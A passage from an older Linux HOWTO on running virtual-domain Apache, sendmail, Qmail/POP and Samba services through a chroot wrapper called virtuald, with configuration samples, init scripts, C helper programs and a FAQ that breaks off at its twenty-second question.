Apache has their own support for virtual domains. This is the only program I recommend using the internal virtual domain mechanism. When you run something through inetd there is a cost, the program has to start up each time you run it. This results in slower response time, which is perfectly fine for most services but is completely unacceptable for web service. Apache also has a mechanism for stopping connections when too many come in, which can be critical for even medium volume sites.

Simply stated, virtualizing Apache with virtuald is a really bad idea. The whole point of virtuald is to fill the gap created when services DO NOT have their own internal mechanism to do the job. Virtuald is not meant to replace good code that already completes the task at hand.

The above not withstanding here is how to do it for those who are foolhardy enough to do so.

Inetd

Edit /etc/inetd.conf

vi /etc/inetd.conf # Add this line
www stream tcp nowait www /usr/local/bin/virtuald \
        virtuald /virtual/conf.www httpd -f /var/www/conf/httpd.conf

Httpd.conf

Edit /var/www/conf/httpd.conf

vi /var/www/conf/httpd.conf # Or wherever you put the Apache config files
It should say:
ServerType standalone

Replace it with:
ServerType inetd

Configuration

Then configure each instance of the Apache server like you would normally for single domain use.

Httpd.init

An httpd.init file is not needed since the server is run through inetd.

8.2 Running With Apache VirtualHost

Apache has three configuration files access.conf , httpd.conf , and srm.conf . Newer versions of Apache have made the three configuration files unnecessary. However, I find that breaking up the configuration into three sections makes it easier to manage so I will be keeping with that style in this HOWTO document.

Access.conf

This configuration file is used to control the accessibility of directories in the web directory structure. Here is a sample configuration file that shows how to have different options for each domain.

# /var/www/conf/access.conf: Global access configuration

# Options are inherited from the parent directory
# Set the main directory with default options
<Directory />
AllowOverride None
Options Indexes
</Directory>

# Give one domain a passwd protected directory
<Directory /virtual/domain1.com/var/www/html/priv>
AuthUserFile /var/www/passwd/domain1.com-priv
AuthGroupFile /var/www/passwd/domain1.com-priv-g
AuthName PRIVSECTION
AuthType Basic
<Limit GET PUT POST>
require valid-user
</Limit>
</Directory>

# Give another domain Server Side Includes
<Directory /virtual/domain2.com/var/www/html>
Options IncludesNOEXEC
</Directory>

Httpd.conf

This configuration file is used to control the main options for the Apache server. Here is a sample configuration file that shows how to have different options for each domain.

# /var/www/conf/httpd.conf: Main server configuration file

# Begin: main conf section

# Needed since not using inetd
ServerType standalone

# Port to run on
Port 80

# Log clients with names vs IP addresses
HostnameLookups on

# User to run server as
User www
Group www

# Where server config, error and log files are
ServerRoot /var/www

# Process Id of server in this file
PidFile /var/run/httpd.pid

# Internal server process info
ScoreBoardFile /var/www/logs/apache_status

# Timeout and KeepAlive options
Timeout 400
KeepAlive 5
KeepAliveTimeout 15

# Number of servers to run
MinSpareServers 5
MaxSpareServers 10
StartServers 5
MaxClients 150
MaxRequestsPerChild 30

# End: main conf section

# Begin: virtual host section

# Tell server to accept requests for ip:port
# I have one for each IP needed so you can explicitly ignore certain domains
Listen 10.10.10.129:80
Listen 10.10.10.130:80

# VirtualHost directive allows you to specify another virtual
# domain on your server.  Most Apache options can be specified
# within this section.
<VirtualHost www.domain1.com>

# Mail to this address on errors
ServerAdmin webmaster@domain1.com

# Where documents are kept in the virtual domain
DocumentRoot /virtual/domain1.com/var/www/html

# Name of the server
ServerName www.domain1.com

# Log files Relative to ServerRoot option
ErrorLog logs/domain1.com-error_log
TransferLog logs/domain1.com-access_log
RefererLog logs/domain1.com-referer_log
AgentLog logs/domain1.com-agent_log

# Use CGI scripts in this domain
ScriptAlias /cgi-bin/ /var/www/cgi-bin/domain1.com/
AddHandler cgi-script .cgi
AddHandler cgi-script .pl
</VirtualHost>

<VirtualHost www.domain2.com>

# Mail to this address on errors
ServerAdmin webmaster@domain2.com

# Where documents are kept in the virtual domain
DocumentRoot /virtual/domain2.com/var/www/html

# Name of the server
ServerName www.domain2.com

# Log files Relative to ServerRoot option
ErrorLog logs/domain2.com-error_log
TransferLog logs/domain2.com-access_log
RefererLog logs/domain2.com-referer_log
AgentLog logs/domain2.com-agent_log

# No CGI's for this host
</VirtualHost>
# End: virtual host section

Srm.conf

This configuration file is used to control how requests are serviced and how results are formatted. You do not have to edit anything here for the virtual domains. The sample config file from Apache should work.

Httpd.init

Nothing special has to be done to the httpd.init file. Use a standard one that comes with the Apache configuration.

8.3 File Descriptor Overflow

Warning

This only applies to the standalone style Apache server. A server run through inetd does not interact with the other domains so it has the whole file descriptor table.

Every log file that the Apache server opens is another file descriptor for the process. There is a limit of 256 file descriptors per process in Linux. Since you have multiple domains you are using a lot more file descriptors. If you have too many domains running off of one Apache web server process you can overflow this table. This would mean that certain logs would not work and CGI's would fail.

Multiple Apache Servers

If you assume five file descriptors per domain you can have 50 domains running on your Apache server without any problems. However, if you find your server having problems like this you could create /var/www1 with an Apache server in charge of domain1 - domain25 and /var/www2 with an Apache server in charge of domain26 - domain50 and so on. This would give each server their own configuration, error, and log directory. Each server should be configured separately with their own Listen and VirtualHost directives. Do not forget to run multiple servers in your httpd.init file.

8.4 Sharing Servers With One IP

Saving IPs

The HTTP (HyperText Transfer Protocol) version 1.1 added a feature that communicates the name of the server to the client. This means that the client does not need to look up the server from its IP address. Therefore, two virtual servers could have the same IP address and be different web sites. The Apache configuration is the same as above except that you do not have to put in a different Listen directive since the two domains will have the same IP.

Drawback

The only problem is that virtuald uses IP addresses to distinguish between domains. In its current form virtuald would not be able to chroot to different spool directories for each domain. Therefore, mail would only be able to respond as one IP and there would no longer be a unique spool directory for each domain. All the web sharing IP clients would have to share that IPs spool directory. That would mean duplicate usernames would be an issue again. However, that is the price you pay for sharing IPs.

8.5 More Information

This HOWTO only shows how to implement virtual support on the Apache web server. Most web servers use a similar interface. For more information on virtual web hosting consult the WWW HOWTO, the documentation for Apache at Apache's Site, or the documentation at ApacheWeek.


Virtual Services Howto: Virtual Mail/Pop

 Next Previous Contents

9. Virtual Mail/Pop

9.1 Problem

Virtual mail support is in ever increasing demand. Sendmail says it supports virtual mail. What it does support is listening for incoming mail from different domains. You can then specify to have the mail forwarded somewhere. However, if you forward it to the local machine and have incoming mail to bob@domain1.com and bob@domain2.com they will go to the same mail folder. This is a problem since both bob's are different people with different mail.

9.2 Solution

You can make sure that each user name is unique by using a numbering scheme: bob1, bob2, etc or prepending a few characters to each username dom1bob, dom2bob, etc. You could also hack mail and pop to do these conversions behind the scenes but that can get messy. Outgoing mail also has the banner maindomain.com and you want each subdomain's outgoing mail banner to be different.

I have two solutions. One works with sendmail and one works with Qmail. The solution with sendmail should work with a stock install of sendmail. However, it shares all the limitations built into sendmail. It also requires that one sendmail has to be run in queue mode for each domain. Having 50 or more sendmail queue processes that wake up every hour can put a little strain on a machine.

The solution offered with Qmail does not require multiple instances of Qmail and can run out of one queue directory. It does require an extra program since Qmail does not rely on virtuald. I believe a similar procedure can be done with sendmail. However, Qmail lends itself to this solution more readily.

I do not endorse any one program over the other. The sendmail install is a little more straight forward but Qmail is probably the more powerful of the two mail server packages.

9.3 Sendmail Solution

Introduction

Each virtual filesystem gives a domain its own /etc/passwd. This means that bob@domain1.com and bob@domain2.com are different users in different /etc/passwds so mail will be no problem. They also have their own spool directories so the mail folders will be different files on different virtual filesystems.

Create Sendmail Configuration File

Create /etc/sendmail.cf like you would normally through m4. I used:

divert(0)
VERSIONID(`tcpproto.mc')
OSTYPE(linux)
FEATURE(redirect)
FEATURE(always_add_domain)
FEATURE(use_cw_file)
FEATURE(local_procmail)
MAILER(local)
MAILER(smtp)

Edit Sendmail Configuration File

Edit /virtual/domain1.com/etc/sendmail.cf to respond as your virtual domain:

vi /virtual/domain1.com/etc/sendmail.cf # Approximately Line 86
It should say:

#Dj$w.Foo.COM

Replace it with:

Djdomain1.com

Sendmail Local Delivery

Edit /virtual/domain1.com/etc/sendmail.cw with the local hostnames.

vi /virtual/domain1.com/etc/sendmail.cw
mail.domain1.com
domain1.com
domain1
localhost

Sendmail Between Virtual Domains: The Hack (PRE8.8.6)

However, sendmail requires one minor source code modification. Sendmail has a file called /etc/sendmail.cw and it contains all machine names that sendmail will deliver mail to locally rather than forwarding to another machine. Sendmail does internal checking of all the devices on the machine to initialize this list with the local IPs. This presents a problem if you are mailing between virtual domains on the same machine. Sendmail will be fooled into thinking another virtual domain is a local address and spool the mail locally. For example, bob@domain1.com sends mail to fred@domain2.com. Since domain1.com's sendmail thinks domain2.com is local, it will spool the mail on domain1.com and never send it to domain2.com. You have to modify sendmail (I did this on v8.8.5 without a problem):

vi v8.8.5/src/main.c # Approximately Line 494
It should say:

load_if_names();

Replace it with:

/* load_if_names(); Commented out since hurts virtual */

Note only do this if you need to send mail between virtual domains which I think is probable.

This will fix the problem. However, the main ethernet device eth0 is not removed. Therefore, if you send mail from a virtual IP to the one on eth0 on the same box it will delivery locally. Therefore, I just use this as a dummy IP virtual1.maindomain.com (10.10.10.157). I never send mail to this host so neither will the virtual domains. This is also the IP I would use to ssh into the box to check if the system is ok.

Sendmail Between Virtual Domains: New Sendmail Feature (POST8.8.6)

As of Sendmail V8.8.6, there is a new option to disable loading of the extra network interfaces. This means you do NOT have to alter the code in any way. It is called DontProbeInterfaces .

Edit /virtual/domain1.com/etc/sendmail.cf

vi /virtual/domain1.com/etc/sendmail.cf # Add the line
O DontProbeInterfaces=True

Sendmail.init

Sendmail cannot be started stand alone anymore so you have to run it through inetd. This is inefficient and will result in lower start up time but if you had such a high hit site you would not share it on a virtual box with other domains. Note that you are NOT running with the -bd flag. Also note that you need a sendmail -q running for each domain to queue up undelivered mail. The new sendmail.init file:

#!/bin/sh

. /etc/rc.d/init.d/functions

case "$1" in
  start)
        echo -n "Starting sendmail: "
        daemon sendmail -q1h
        echo
        echo -n "Starting virtual sendmail: "
        for i in /virtual/*
        do
                if [ ! -d "$i" ]
                then
                        continue
                fi
                if [ "$i" = "/virtual/lost+found" ]
                then
                        continue
                fi
                chroot $i sendmail -q1h
                echo -n "."
        done
        echo " done"
        touch /var/lock/subsys/sendmail
        ;;
  stop)
        echo -n "Stopping sendmail: "
        killproc sendmail
        echo
        rm -f /var/lock/subsys/sendmail
        ;;
  *)
        echo "Usage: sendmail {start|stop}"
        exit 1
esac

exit 0

Inetd Setup

Pop should install normally with no extra effort. It will just need the inetd entry for it with the virtuald part added. The inetd.conf entries for sendmail and pop:

pop-3 stream tcp nowait root /usr/local/bin/virtuald \
        virtuald /virtual/conf.pop in.qpop -s
smtp stream tcp nowait root /usr/local/bin/virtuald \
        virtuald /virtual/conf.mail sendmail -bs

9.4 Qmail Solution

Introduction

This solution takes over the delivery responsibilities of qmail-local, so use of the .qmail files in the virtual home directories will not work. However, each domain will still get a domain master user that will control aliasing for the whole domain. Two external programs will be used for that domain masters .qmail-default file. The mail will be passed through these two programs in order to deliver mail for each domain.

Two programs are required since one of them is run setuid root. It is a small program that changes to a non-root user and then runs the second program. Consult your nearest security related site for a discussion as to why this is necessary.

This solution bypasses the need for using virtuald. Qmail is flexible enough to not require a general virtuald setup. Qmail's design utilizes the chaining of programs together to deliver mail. This design makes it very easy to insert the virtual section into the Qmail delivery process without altering a stock install of Qmail.

A note that since you are using one Qmail any unqualified domain name will be expanded with the domain of the main server. This is because you do not have a separate Qmail server for each domain. Therefore, make sure that your client (Eudora, elm, mutt, etc.) knows to expand all of your unqualified domain names.

Setup Virtual Domains

Qmail has to be configured to accept mail for each of the virtual domains you will be serving. Type the following commands.

echo "domain1.com:domain1" >> /var/qmail/control/virtualdomains

Setup Domain Master User

Add to your main /etc/passwd file the user domain1. I would make the shell /bin/false so that the domain master cannot log in. That user will be able to add .qmail files and all mail for domain1 will route through that account. Note that usernames can only be eight characters long and domain names can be longer. The remaining characters are truncated. That means that user domain12 and domain123 are going to be the same user and Qmail might get confused. So be careful in your master domain user naming convention.

Create the domain master's .qmail files with the following commands. Add any other system aliases at this point. For example, webmaster or hostmaster.

echo "user@domain1.com" > /home/d/domain1/.qmail-mailer-daemon
echo "user@domain1.com" > /home/d/domain1/.qmail-postmaster
echo "user@domain1.com" > /home/d/domain1/.qmail-root

Create the domain master's .qmail-default file. This will filter all mail to the virtual domain.

echo "| /usr/local/bin/virtmailfilter" > /home/d/domain1/.qmail-default

Tcpserver

Qmail requires a special pop that can support the Maildir format. The pop program has to be virtualized. The author of Qmail recommends using tcpserver (an inetd replacement) with Qmail so my examples use tcpserver and NOT inetd.

Tcpserver does not require a config file. All the information can be passed to it via the command line. Here is the tcpserver.init file that you would use for the mail daemon and popper:

#!/bin/sh

. /etc/rc.d/init.d/functions

QMAILDUSER=`grep qmaild /etc/passwd | cut -d: -f3`
QMAILDGROUP=`grep qmaild /etc/passwd | cut -d: -f4`

# See how we were called.
case "$1" in
  start)
        echo -n "Starting tcpserver: "
        tcpserver -u 0 -g 0 0 pop-3 /usr/local/bin/virtuald \
                /virtual/conf.pop qmail-popup virt.domain1.com \
                /bin/checkpassword /bin/qmail-pop3d Maildir &
        echo -n "pop "
        tcpserver -u $QMAILDUSER -g $QMAILDGROUP 0 smtp \
                /var/qmail/bin/qmail-smtpd &
        echo -n "qmail "
        echo
        touch /var/lock/subsys/tcpserver
        ;;
  stop)
        echo -n "Stopping tcpserver: "
        killall -TERM tcpserver
        echo -n "killing "
        echo
        rm -f /var/lock/subsys/tcpserver
        ;;
  *)
        echo "Usage: tcpserver {start|stop}"
        exit 1
esac

exit 0

Qmail.init

You can use the standard Qmail init script provided. Qmail comes with very good documentation describing how to set this up.

Source

You require two other programs to get virtual mail working with Qmail. They are virtmailfilter and virtmaildelivery. This is the C source to virtmailfilter. It should be installed in /usr/local/bin with permissions 4750, user root, and group nofiles.

#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <pwd.h>

#define VIRTPRE                 "/virtual"

#define VIRTPWFILE              "etc/passwd"
#define VIRTDELIVERY            "/usr/local/bin/virtmaildelivery"
#define VIRTDELIVERY0           "virtmaildelivery"

#define PERM                    100
#define TEMP                    111
#define BUFSIZE                 8192

int main(int argc,char **argv)
{
        char *username,*usernameptr,*domain,*domainptr,*homedir;
        char virtpath[BUFSIZE];
        struct passwd *p;
        FILE *fppw;
        int status;
        gid_t gid;
        pid_t pid;

        if (!(username=getenv("EXT")))
        {
                fprintf(stdout,"environment variable EXT not set\n");
                exit(TEMP);
        }

        for(usernameptr=username;*usernameptr;usernameptr++)
        {
                *usernameptr=tolower(*usernameptr);
        }

        if (!(domain=getenv("HOST")))
        {
                fprintf(stdout,"environment variable HOST not set\n");
                exit(TEMP);
        }

        for(domainptr=domain;*domainptr;domainptr++)
        {
                if (*domainptr=='.' && *(domainptr+1)=='.')
                {
                        fprintf(stdout,"environment variable HOST has ..\n");
                        exit(TEMP);
                }
                if (*domainptr=='/')
                {
                        fprintf(stdout,"environment variable HOST has /\n");
                        exit(TEMP);
                }

                *domainptr=tolower(*domainptr);
        }

        for(domainptr=domain;;)
        {
                snprintf(virtpath,BUFSIZE,"%s/%s",VIRTPRE,domainptr);
                if (chdir(virtpath)>=0)
                        break;

                if (!(domainptr=strchr(domainptr,'.')))
                {
                        fprintf(stdout,"domain failed: %s\n",domain);
                        exit(TEMP);
                }

                domainptr++;
        }

        if (!(fppw=fopen(VIRTPWFILE,"r+")))
        {
                fprintf(stdout,"fopen failed: %s\n",VIRTPWFILE);
                exit(TEMP);
        }

        while((p=fgetpwent(fppw))!=NULL)
        {
                if (!strcmp(p->pw_name,username))
                        break;
        }

        if (!p)
        {
                fprintf(stdout,"user %s: not exist\n",username);
                exit(PERM);
        }

        if (fclose(fppw)==EOF)
        {
                fprintf(stdout,"fclose failed\n");
                exit(TEMP);
        }

        gid=p->pw_gid;
        homedir=p->pw_dir;

        if (setgid(gid)<0 || setuid(p->pw_uid)<0)
        {
                fprintf(stdout,"setuid/setgid failed\n");
                exit(TEMP);
        }

        switch(pid=fork())
        {
                case -1:
                        fprintf(stdout,"fork failed\n");
                        exit(TEMP);
                case 0:
                        if (execl(VIRTDELIVERY,VIRTDELIVERY0,username,homedir,NULL)<0)
                        {
                                fprintf(stdout,"execl failed\n");
                                exit(TEMP);
                        }
                default:
                        if (wait(&status)<0)
                        {
                                fprintf(stdout,"wait failed\n");
                                exit(TEMP);
                        }
                        if (!WIFEXITED(status))
                        {
                                fprintf(stdout,"child did not exit normally\n");
                                exit(TEMP);
                        }
                        break;
        }

        exit(WEXITSTATUS(status));
}

Source

You require two other programs to get virtual mail working with Qmail. They are virtmailfilter and virtmaildelivery. This is the C source to virtmaildelivery. It should be installed in /usr/local/bin with permissions 0755, user root, and group root.

#include <sys/stat.h>
#include <sys/file.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>

#define TEMP                    111
#define BUFSIZE                 8192
#define ATTEMPTS                10

int main(int argc,char **argv)
{
        char *user,*homedir,*dtline,*rpline,buffer[BUFSIZE],*p,mail[BUFSIZE];
        char maildir[BUFSIZE],newmaildir[BUFSIZE],host[BUFSIZE];
        int fd,n,nl,i,retval;
        struct stat statp;
        time_t thetime;
        pid_t pid;
        FILE *fp;

        retval=0;

        if (!argv[1])
        {
                fprintf(stdout,"invalid arguments: need username\n");
                exit(TEMP);
        }

        user=argv[1];

        if (!argv[2])
        {
                fprintf(stdout,"invalid arguments: need home directory\n");
                exit(TEMP);
        }

        homedir=argv[2];

        if (!(dtline=getenv("DTLINE")))
        {
                fprintf(stdout,"environment variable DTLINE not set\n");
                exit(TEMP);
        }

        if (!(rpline=getenv("RPLINE")))
        {
                fprintf(stdout,"environment variable RPLINE not set\n");
                exit(TEMP);
        }

        while (*homedir=='/')
                homedir++;
        snprintf(maildir,BUFSIZE,"%s/Maildir",homedir);
        if (chdir(maildir)<0)
        {
                fprintf(stdout,"chdir failed: %s\n",maildir);
                exit(TEMP);
        }

        time(&thetime);
        pid=getpid();
        if (gethostname(host,BUFSIZE)<0)
        {
                fprintf(stdout,"gethostname failed\n");
                exit(TEMP);
        }

        for(i=0;i<ATTEMPTS;i++)
        {
                snprintf(mail,BUFSIZE,"tmp/%u.%d.%s",thetime,pid,host);
                errno=0;
                stat(mail,&statp);
                if (errno==ENOENT)
                        break;

                sleep(2);
                time(&thetime);
        }
        if (i>=ATTEMPTS)
        {
                fprintf(stdout,"could not create %s\n",mail);
                exit(TEMP);
        }

        if (!(fp=fopen(mail,"w+")))
        {
                fprintf(stdout,"fopen failed: %s\n",mail);
                retval=TEMP; goto unlinkit;
        }

        fd=fileno(fp);

        if (fprintf(fp,"%s",rpline)<0)
        {
                fprintf(stdout,"fprintf failed\n");
                retval=TEMP; goto unlinkit;
        }

        if (fprintf(fp,"%s",dtline)<0)
        {
                fprintf(stdout,"fprintf failed\n");
                retval=TEMP; goto unlinkit;
        }

        while(fgets(buffer,BUFSIZE,stdin))
        {
                for(p=buffer;*p=='>';p++)
                        ;

                if (!strncmp(p,"From ",5))
                {
                        if (fputc('>',fp)<0)
                        {
                                fprintf(stdout,"fputc failed\n");
                                retval=TEMP; goto unlinkit;
                        }
                }

                if (fprintf(fp,"%s",buffer)<0)
                {
                        fprintf(stdout,"fprintf failed\n");
                        retval=TEMP; goto unlinkit;
                }
        }

        p=buffer+strlen(buffer);
        nl=2;
        if (*p=='\n')
                nl=1;

        for(n=0;n<nl;n++)
        {
                if (fputc('\n',fp)<0)
                {
                        fprintf(stdout,"fputc failed\n");
                        retval=TEMP; goto unlinkit;
                }
        }

        if (fsync(fd)<0)
        {
                fprintf(stdout,"fsync failed\n");
                retval=TEMP; goto unlinkit;
        }

        if (fclose(fp)==EOF)
        {
                fprintf(stdout,"fclose failed\n");
                retval=TEMP; goto unlinkit;
        }

        snprintf(newmaildir,BUFSIZE,"new/%u.%d.%s",thetime,pid,host);
        if (link(mail,newmaildir)<0)
        {
                fprintf(stdout,"link failed: %s %s\n",mail,newmaildir);
                retval=TEMP; goto unlinkit;
        }

unlinkit:
        if (unlink(mail)<0)
        {
                fprintf(stdout,"unlink failed: %s\n",mail);
                retval=TEMP;
        }

        exit(retval);
}

9.5 Acknowledgement

Thank you Vicente Gonzalez (vince@nycrc.net) for helping make the Qmail solution possible. You can certainly mail your thanks to Vince, however all questions and comments including issues regarding Qmail, about this HOWTO should continue to be directed to me.


Virtual Services Howto: Virtual Samba

 Next Previous Contents

10. Virtual Samba

10.1 Setup

Virtual SAMBA is very simple to install. Make sure that the following files are setup properly:

  • /virtual/domain1.com/etc/smb.conf FILE
  • /virtual/domain1.com/var/lock/samba DIRECTORY
  • /virtual/domain1.com/var/log DIRECTORY
  • /usr/local/bin/virtsmbstatus SYMLINK /usr/local/bin/virtexec

10.2 Inetd

Edit /etc/inetd.conf

vi /etc/inetd.conf # Add this line
netbios-ssn stream tcp nowait root /usr/local/bin/virtuald \
        virtuald /virtual/conf.smbd smbd

10.3 Smb.init

An smb.init file is not needed since the server is run through inetd.


Virtual Services Howto: Virtual Other

 Next Previous Contents

11. Virtual Other

Any other service should be a similar procedure.

  • Run virtfs to add the binaries and libraries to the virtual filesystem.
  • Add it to /etc/inetd.conf.
  • Create a /virtual/conf.service file.
  • Create any virtual scripts that need to be made.


Virtual Services Howto: Conclusion

 Next Previous Contents

12. Conclusion

Those are all the steps you need. Again mail any responses to Computer Resource Center. If you have a question or an update to the document let me know and I will add it.

The document has met with a very good response. I thank all the people who sent me questions as they are helping to shape the document to meet the needs of users everywhere. Before you ask a question I urge you to read the FAQ to see if it has been already asked and answered. Thanks again. Brian


Virtual Services Howto: FAQ

 Next Previous Contents

13. FAQ

Q1. I created sendmail.init and syslogd.init. I put them in /usr/local/bin and tried to run them but I got errors.

A1. These files are called init scripts. They are run by the program init when your computer boots. They do not go with the /usr/local binaries. Consult the Linux System Administrators Guide or the Linux Getting Started Guide for information on how to use the init scripts system.

Q2. I put these lines into /etc/sendmail.cf

divert(0)
VERSIONID(`tcpproto.mc')
OSTYPE(linux)
FEATURE(redirect)
FEATURE(always_add_domain)
FEATURE(use_cw_file)
FEATURE(local_procmail)
MAILER(local)
MAILER(smtp)

And I got really stange output. Why?

A2. You do not put these lines directly in /etc/sendmail.cf. The sendmail.cf file was written to be easy for sendmail to understand and hard for humans to read. Therefore, to make it easy to configure we use a program called m4 and its macro capabilities to create the sendmail.cf file. The FEATURE lines are actually macros that expand to sendmail configuration statements. See the sendmail docs on how to configure sendmail through this method. Also note that you create a main /etc/sendmail.cf file and the virtfs script then copies this to /virtual/domain1.com/etc/sendmail.cf. Then you edit that sendmail.cf file to respond as your domain.

Q3. Where do I get virtuald, what is it, and how do I use it?

A3. Virtuald is C source that I wrote to run a virtual service. It is included with this HOWTO. You compile it like a normal C program make virtuald . The resulting binary is placed into /usr/local/bin. Add lines to /etc/inetd.conf that use virtuald as a wrapper to a normal network server program.

Q4. I do not have dialog installed on my system?

A4. Dialog is a program that allows you to put dialog pop up windows into your shell scripts. It is required for my virtual shell script examples to work. You can get a copy of dialog at sunsite. It compiles very easily and should be no problem to install.

Q5. How can I know if virtual syslogd is working?

A5. When virtuald runs it should output the following messages to syslogd (/var/log/messages):

Nov 19 17:21:07 virtual virtuald[10223]: Virtuald Starting: $Revision: 1.49 $
Nov 19 17:21:07 virtual virtuald[10223]: Incoming ip: 204.249.11.136
Nov 19 17:21:07 virtual virtuald[10223]: Chroot dir: /virtual/domain1.com

The Chroot dir message is sent by virtuald after the chroot system call is performed. If this message appears virtual syslogd is working. If the service you are virtualizing logs messages to syslogd and you see them that is also a sign that virtual syslogd is correctly setup.

Note that if you have not turned on the compile time option VERBOSELOG, virtuald will not log at all. The only way to tell if virtual syslogd is working at that point is if the daemon you are virtualizing independently logs something to syslogd.

Q6. How can I setup quotas across virtual filesystems?

A6. You setup quotas like you would normally. See the Quota mini-HOWTO. However, you have to make sure there are no uid conflicts across domains. If there are conflicts you will have users sharing a quota. Set aside a range of uid's that you know will have quota's enabled and tell your domains that they cannot have any users in that range except the ones registered to have a quota.

Q7. What is this \ notation in all the inetd.conf entries?

A7. That is just a method of breaking up config files across two lines. I did that so the line would word wrap in a nice place. You can just ignore the \ and join the two lines back together.

Q8. When I run passwd or other login programs I get permission denied . When I run FTP or su I get no modules loaded for service XXX . Why?

A8. Those are PAM error messages. I wrote these scripts before PAM was out. My virtfs script does not copy /etc/pam.d, /usr/lib/cracklib_dict.*, /lib/security or any of the other files PAM requires. PAM needs these to function. If you edit my virtfs script to copy these files the problem will go away.

Q9. Can virtuald work with tcpd hosts.allow and hosts.deny files?

A9. Yes it can with some modifications.

First the source has to be changed in two places.

This has to be inserted where the arguments are checked.

        if (!argv[3])
        {
                syslog(LOG_ERR,"invalid arguments: no program to run");
                exit(0);
        }

The exec line has to be changed from:

        if (execvp(argv[2],argv+2)<0)

to:

        if (execvp(argv[2],argv+3)<0)

Second the inetd.conf lines have to be changed from:

ftp stream tcp nowait root /usr/local/bin/virtuald \
        virtuald /virtual/conf.ftp wu.ftpd -l -a

to:

ftp stream tcp nowait root /usr/local/bin/virtuald \
        virtuald /virtual/conf.ftp tcpd wu.ftpd -l -a

Third edit the /virtual/domain1.com/etc/hosts.allow and /virtual/domain1.com/etc/hosts.deny files accordingly.

Q10. Can my virtual hosts run CGI's?

A10. Yes they can but I recommend putting the /cgi-bin in a place outside of the chroot that only you have access to. For example, /var/www/cgi-bin/domain1.com. Giving clients access to /cgi-bin is giving them the opportunity to run programs on your sever. This is a big security hole. Be careful. I do not let any cgi run on my systems that I have not personally inspected for bugs.

Q11. My configuration files are different from your examples. What do I do?

A11. There are two basic configuration styles: SystemV and BSD. The examples provided in the HOWTO are based on SystemV style configuration files. Virtual services works equally well on either system. For information on BSD style configuration files consult the origin of your distribution or the nearest LDP site.

Q12. I sent you mail and have not heard a response from you or your response took a long time. Why?

A12. Probably because you did not put VIRTSERVICES HOWTO in your subject header. Please bear in mind that I am a network administrator and that among the other things I do in my 20 hour days is administering my own virtual boxes and those of my clients. Mail that is properly addressed is always responded to within two or three days. Mail that is improperly addressed does not get filtered into my VIRTSERVICES mailbox and can lie around unnoticed for days or weeks.

Q13. Does virtuald work under 100Mbit?

A13 The speed of the network card is unrelated to whether virtuald will work or not. Try making sure that your server works under 10Mbit and that your 100Mbit network card works normally without a virtual server.

Q14. Should I use sendmail's virthost table?

A14. No. That is sendmail's feature to accept info for multiple domains. Virtuald gives each sendmail its own separate chroot environment. Install virtuald and then configure sendmail like you would normally for each domain.

Q15. Can I setup virtual telnet on my machine? What about creating a virtual root account so clients can administer their own domains?

A15. These questions come to me quite often and to be honest, I am getting a bit tired of them. The answer, as stated numerous times in the documentation, is that any service run through inetd can be virtualized using virtuald so there is nothing to stop you from doing either of the above. Nothing except common sense. Whatever benefits you might derive from allowing telnet are heavily outweighed by the cost to the virtual box (and thus the sites you are supposed to be hosting in a responsible manner) in terms of security. Here are just a few issues involved:

  • In order to completely fool an incoming telnet session you have to hack the kernel to get multiple procs working, reset your source IP address for outgoing connections, fool gethostname so it uses the virtual hostname and not the system hostname, etc. If you are an advanced user then by all means hack the kernel. For the newbie I do not recommend it.
  • By allowing users to come into your box via telnet you allow them to run arbitrary programs. Through known hacks you can get root and cause damage to the system.
  • Giving a root telnet account on a virtual box is very bad. A root virtual user can still read raw device files which nullifies the chroot , shutdown the system, and can kill other processes on the system.
  • The programs that these telnet sessions are running take up valuable CPU time that the network services could be using.
  • Telnet is an insecure network service. Plain text passwords are sent out over the net. If a malicious user gets this password he/she can use the above mentioned attacks to harm your system.
  • Your virtual environments will have to be bigger. You will need more shared libraries, more configuration files, and more binaries. A six gigabyte disk can run out of space really fast.

The bottom line is that allowing login's on a virtual box is a really bad idea. If permitted, every site hosted on that machine is at risk. If you want to allow a site holder to administer users then you are advised to write (not script) the code necessary to run the virtual processes that allow them to add, delete or modify users upon login through ssh. This should be completely menu driven, should never allow a console and should not run as root. In order to accomplish this you will have to change ownership of the pertinent files from root to some other user. If done in this manner it is marginally safe to incorporate into a virtual machine. There is never an acceptable time to allow root login's either through telnet or ssh. Doing so is simply an invitation to disaster. If there is an overwhelming reason to run telnet then the site should be hosted on a dedicated machine where the only risk is to the individual site. No responsible administrator would ever do otherwise and so I will waste no more time on this issue.

Q16. Is there an rpm, tar, web site, mailing list, etc. associated with virtuald and the Virtual-Services HOWTO?

A16. Currently there is nothing like that available. This HOWTO is the only source of information to everything I do concerning this project. I find the HOWTO to be fairly self contained making the need for other pieces of information superfluous.

Q17. When I try to run virtexec as a regular user I get chroot: operation not permitted . Why?

A17. Chroot is a root restricted system call. Only the superuser can execute it. The virtexec script runs the chroot program which is why you need to be root in order to run it.

Q18. I setup pop and sendmail but popping mail does not seem to work. How come?

A18. Some pop programs come with /usr/spool/mail as their place for mail files. I know that qpop has to be manually editted to fix this. Either recompile the source to your program or symlink /virtual/domain1.com/usr/spool to /virtual/domain1.com/var/spool.

Q19. I did not use the program mentioned in your HOWTO, I used program XXX. It does not work. Why?

A19. I tried to make sure to use the most generic of each server in my examples. However, I know that everyone has their favorite version of each server. Send me as much information as possible and I will try to figure out how to solve your problem and document it in the FAQ. The most important piece of information to send me is where to get the version of the software you are running (in the form ftp://ftp.domain1.com/subdir/subdir/file.tgz).

Q20. When I run virtexec is says symlink not a virt function . What does this mean and how do I fix it?

A20. Virtexec is a program that will take its zero argument, strip off the first four characters, and run the remaining name in the virtual environment. For example, virtpasswd runs passwd. If the first four characters that it strips off are not virt it complains and outputs that error message. Virtexec is written in shell script and should be fairly simple to follow. Refer to the manual pages on bash or whatever shell you run for questions about shell script programming.

Q21. I have a question about Qmail, SAMBA, Apache, etc. that is unrelated to the virtuald setup or how the package interfaces to virtuald.

A21. All the packages described here are fully documented. Some even have full web sites like www.packagename.org dedicated to them. Please consult them about questions dealing with the package that are unrelated to their virtual hosting functionality.

Q22. I have several domain aliases to domain1.com but mail keeps bouncing from the aliases. How come?

